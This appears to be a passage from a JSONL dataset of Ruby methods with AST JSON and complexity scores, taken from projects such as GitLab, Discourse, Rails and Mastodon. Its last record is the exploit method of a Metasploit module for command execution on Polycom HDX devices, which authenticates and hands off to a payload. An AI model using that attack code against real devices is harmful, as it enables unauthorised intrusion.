\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"status\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sync_run_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_run\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"stack_trace\"]},{\"type\":\"nil\",\"children\":[]}]}]},\"to_s\"]}]}]}","id":"a273e6d9-ce77-42aa-92c7-9401028077f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/dynamic_registrations_controller.rb","start_line":75,"raw_source":"def check_feature_flag!\n      render_404 unless Feature.enabled?(:oauth_dynamic_client_registration, :instance)\n    end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"check_feature_flag!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"oauth_dynamic_client_registration\"]},{\"type\":\"sym\",\"children\":[\"instance\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"d6f78a71-3c5e-4ec7-a90c-583b54d8ece4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/slack/manifest.rb","start_line":8,"raw_source":"def share_url\n        \"https://api.slack.com/apps?new_app=1&manifest_json=#{ERB::Util.url_encode(to_json)}\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"share_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://api.slack.com/apps?new_app=1&manifest_json=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ERB\"]},\"Util\"]},\"url_encode\",{\"type\":\"send\",\"children\":[null,\"to_json\"]}]}]}]}]}","id":"e0101a15-b4fd-40ab-96e8-c11dc4bb78e4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/mergeability/check_merge_request_title_regex_service.rb","start_line":11,"raw_source":"def execute\n        return inactive unless validate_title_regex?\n\n        if valid_project_regex\n          success\n        else\n          failure\n        end\n      end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"validate_title_regex?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inactive\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_project_regex\"]},{\"type\":\"send\",\"children\":[null,\"success\"]},{\"type\":\"send\",\"children\":[null,\"failure\"]}]}]}]}","id":"bcda5834-5d29-481f-b963-a807ee99eb71"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/metric/rollup.rb","start_line":303,"raw_source":"def self.rollup_burst(c, result, timestamp, value, types = nil)\n    Array.wrap(types || BURST_TYPES).each do |type|\n      ts_key, val_key = burst_col_names(type, c)\n\n      if new_min_max?(result[val_key], value, type)\n        result[ts_key] = timestamp\n        result[val_key] = value\n      end\n    end\n  end","complexity_score":17.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"rollup_burst\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]},{\"type\":\"arg\",\"children\":[\"result\"]},{\"type\":\"arg\",\"children\":[\"timestamp\"]},{\"type\":\"arg\",\"children\":[\"value\"]},{\"type\":\"optarg\",\"children\":[\"types\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"types\"]},{\"type\":\"const\",\"children\":[null,\"BURST_TYPES\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts_key\"]},{\"type\":\"lvasgn\",\"children\":[\"val_key\"]}]},{\"type\":\"send\",\"children\":[null,\"burst_col_names\",{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"c\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new_min_max?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"val_key\"]}]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"ts_key\"]},{\"type\":\"lvar\",\"children\":[\"timestamp\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"val_key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]}]}]}]}","id":"83ccebaf-e711-4c17-ba13-5457a0be68e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/lets_encrypt_helpers.rb","start_line":47,"raw_source":"def acme_authorization_double(challenge = acme_challenge_double)\n    authorization = instance_double('Acme::Client::Resources::Authorization')\n    allow(authorization).to receive(:http).and_return(challenge)\n    allow(authorization).to receive(:challenges).and_return([challenge])\n    authorization\n  end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"acme_authorization_double\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"challenge\",{\"type\":\"send\",\"children\":[null,\"acme_challenge_double\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"authorization\",{\"type\":\"send\",\"children\":[null,\"instance_double\",{\"type\":\"str\",\"children\":[\"Acme::Client::Resources::Authorization\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"authorization\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"http\"]}]},\"and_return\",{\"type\":\"lvar\",\"children\":[\"challenge\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"allow\",{\"type\":\"lvar\",\"children\":[\"authorization\"]}]},\"to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"receive\",{\"type\":\"sym\",\"children\":[\"challenges\"]}]},\"and_return\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"challenge\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"authorization\"]}]}]}","id":"e72f3167-76a3-4828-a8c3-0f735e5bb33e"}
{"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/converters/discourse/steps/muted_users.rb","start_line":19,"raw_source":"def process_item(item)\n      IntermediateDB::MutedUser.create(\n        muted_user_id: item[:muted_user_id],\n        user_id: item[:user_id],\n        created_at: item[:created_at],\n      )\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_item\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IntermediateDB\"]},\"MutedUser\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"muted_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"muted_user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"user_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"created_at\"]}]}]}]}]}]}","id":"c7f46e57-4129-443a-9867-eac3d49f076c"}
{"repo_name":"liquid","file_path":"./repos/liquid/performance/shopify/shop_filter.rb","start_line":71,"raw_source":"def default_pagination(paginate)\n    html = []\n    html << %(<span class=\"prev\">#{link_to(paginate['previous']['title'], paginate['previous']['url'])}</span>) if paginate['previous']\n\n    paginate['parts'].each do |part|\n      html << if part['is_link']\n        %(<span class=\"page\">#{link_to(part['title'], part['url'])}</span>)\n      elsif part['title'].to_i == paginate['current_page'].to_i\n        %(<span class=\"page current\">#{part['title']}</span>)\n      else\n        %(<span class=\"deco\">#{part['title']}</span>)\n      end\n    end\n\n    html << %(<span class=\"next\">#{link_to(paginate['next']['title'], paginate['next']['url'])}</span>) if paginate['next']\n    html.join(' ')\n  end","complexity_score":47.7,"ast_json":"{\"type\":\"def\",\"children\":[\"default_pagination\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"paginate\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"html\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"previous\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"prev\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"previous\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"previous\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]}]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"parts\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"part\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"str\",\"children\":[\"is_link\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"page\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]}]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},\"to_i\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"current_page\"]}]},\"to_i\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"page current\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"deco\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"part\"]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"next\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<span class=\\\"next\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"next\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"title\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"paginate\"]},\"[]\",{\"type\":\"str\",\"children\":[\"next\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"url\"]}]}]}]},{\"type\":\"str\",\"children\":[\"</span>\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"html\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]}]}]}","id":"5e741480-1a4f-4162-96fe-b5439c392d4c"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/markdown_feature.rb","start_line":109,"raw_source":"def xissue\n    @xissue ||= create(:issue, project: xproject)\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"xissue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@xissue\"]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"xproject\"]}]}]}]}]}]}","id":"cfd766bf-1769-4ea1-85a5-9187c220d388"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/error.rb","start_line":165,"raw_source":"def match?(attribute, type = nil, **options)\n      if @attribute != attribute || (type && @type != type)\n        return false\n      end\n\n      options.each do |key, value|\n        if @options[key] != value\n          return false\n        end\n      end\n\n      true\n    end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"match?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]},{\"type\":\"optarg\",\"children\":[\"type\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attribute\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]},\"!=\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},\"!=\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"fb7f4757-8e7e-43ca-ae94-e84fd42ecf18"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/integrations/base/issue_tracker.rb","start_line":91,"raw_source":"def set_default_data\n        return unless issues_tracker.present?\n\n        # we don't want to override if we have set something\n        return if project_url || issues_url || new_issue_url\n\n        data_fields.project_url = issues_tracker['project_url']\n        data_fields.issues_url = issues_tracker['issues_url']\n        data_fields.new_issue_url = issues_tracker['new_issue_url']\n      end","complexity_score":22.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_default_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues_tracker\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_url\"]},{\"type\":\"send\",\"children\":[null,\"issues_url\"]}]},{\"type\":\"send\",\"children\":[null,\"new_issue_url\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_fields\"]},\"project_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues_tracker\"]},\"[]\",{\"type\":\"str\",\"children\":[\"project_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_fields\"]},\"issues_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues_tracker\"]},\"[]\",{\"type\":\"str\",\"children\":[\"issues_url\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"data_fields\"]},\"new_issue_url=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issues_tracker\"]},\"[]\",{\"type\":\"str\",\"children\":[\"new_issue_url\"]}]}]}]}]}","id":"4ff836ed-312c-4660-afc3-09c2f09d70fe"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/guardian/topic_guardian.rb","start_line":339,"raw_source":"def can_perform_action_available_to_group_moderators?(topic)\n    return false if anonymous? || topic.nil?\n    return true if is_staff?\n    return true if @user.has_trust_level?(TrustLevel[4])\n\n    is_category_group_moderator?(topic.category)\n  end","complexity_score":11.95,"ast_json":"{\"type\":\"def\",\"children\":[\"can_perform_action_available_to_group_moderators?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"topic\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"anonymous?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"nil?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"is_staff?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"has_trust_level?\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TrustLevel\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[null,\"is_category_group_moderator?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"category\"]}]}]}]}","id":"b2254891-2e78-481e-8a2c-46388f9ef8e7"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_view.rb","start_line":7,"raw_source":"def self.on_preload(&blk)\n    (@preload ||= Set.new) << blk\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on_preload\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"blk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@preload\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]},\"<<\",{\"type\":\"lvar\",\"children\":[\"blk\"]}]}]}","id":"f69d4e04-e127-40be-9624-5cc3fd6ed8c9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/status_reach_finder.rb","start_line":23,"raw_source":"def reached_account_ids\n    # When the status is a reblog, there are no interactions with it\n    # directly, we assume all interactions are with the original one\n\n    if @status.reblog?\n      [reblog_of_account_id]\n    else\n      [\n        replied_to_account_id,\n        reblog_of_account_id,\n        quote_of_account_id,\n        mentioned_account_ids,\n        reblogs_account_ids,\n        quotes_account_ids,\n        favourites_account_ids,\n        replies_account_ids,\n      ].tap do |arr|\n        arr.flatten!\n        arr.compact!\n        arr.uniq!\n      end\n    end\n  end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reached_account_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@status\"]},\"reblog?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reblog_of_account_id\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"replied_to_account_id\"]},{\"type\":\"send\",\"children\":[null,\"reblog_of_account_id\"]},{\"type\":\"send\",\"children\":[null,\"quote_of_account_id\"]},{\"type\":\"send\",\"children\":[null,\"mentioned_account_ids\"]},{\"type\":\"send\",\"children\":[null,\"reblogs_account_ids\"]},{\"type\":\"send\",\"children\":[null,\"quotes_account_ids\"]},{\"type\":\"send\",\"children\":[null,\"favourites_account_ids\"]},{\"type\":\"send\",\"children\":[null,\"replies_account_ids\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"flatten!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"compact!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"uniq!\"]}]}]}]}]}","id":"0251bcfd-de2a-4a7c-a736-6b2b1c01592c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/misc/polycom_hdx_traceroute_exec.rb","start_line":77,"raw_source":"def exploit\n    unless check == Exploit::CheckCode::Detected\n      fail_with(Failure::Unknown, \"#{peer} - Failed to connect to target service\")\n    end\n\n    #\n    # Obtain banner information\n    #\n    sock = connect\n    Rex.sleep(2)\n    banner = sock.get_once\n    vprint_status(\"Received #{banner.length} bytes from service\")\n    vprint_line(\"#{banner}\")\n    if banner =~ /password/i\n      print_status(\"Authentication enabled on device, authenticating with target...\")\n      if datastore['PASSWORD'].nil?\n        print_error(\"#{peer} - Please supply a password to authenticate with\")\n        return\n      end\n      # couldnt find where to enable auth in web interface or telnet...but according to other module it exists..here in case.\n      sock.put(\"#{datastore['PASSWORD']}\\n\")\n      res = sock.get_once\n      if res =~ /Polycom/\n        print_good(\"#{peer} - Authenticated successfully with target.\")\n      elsif res =~ /failed/\n        print_error(\"#{peer} - Invalid credentials for target.\")\n        return\n      end\n    elsif banner =~ /Polycom/ # praise jesus\n      print_good(\"#{peer} - Device has no authentication, excellent!\")\n    end\n    do_payload(sock)\n  end","complexity_score":44.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to connect to target service\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"send\",\"children\":[null,\"connect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"sleep\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"lvasgn\",\"children\":[\"banner\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"get_once\"]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Received \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"length\"]}]},{\"type\":\"str\",\"children\":[\" bytes from service\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"banner\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"regopt\",\"children\":[\"i\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Authentication enabled on device, authenticating with target...\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Please supply a password to authenticate with\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"put\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"get_once\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Polycom\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Authenticated successfully with target.\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"failed\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Invalid credentials for 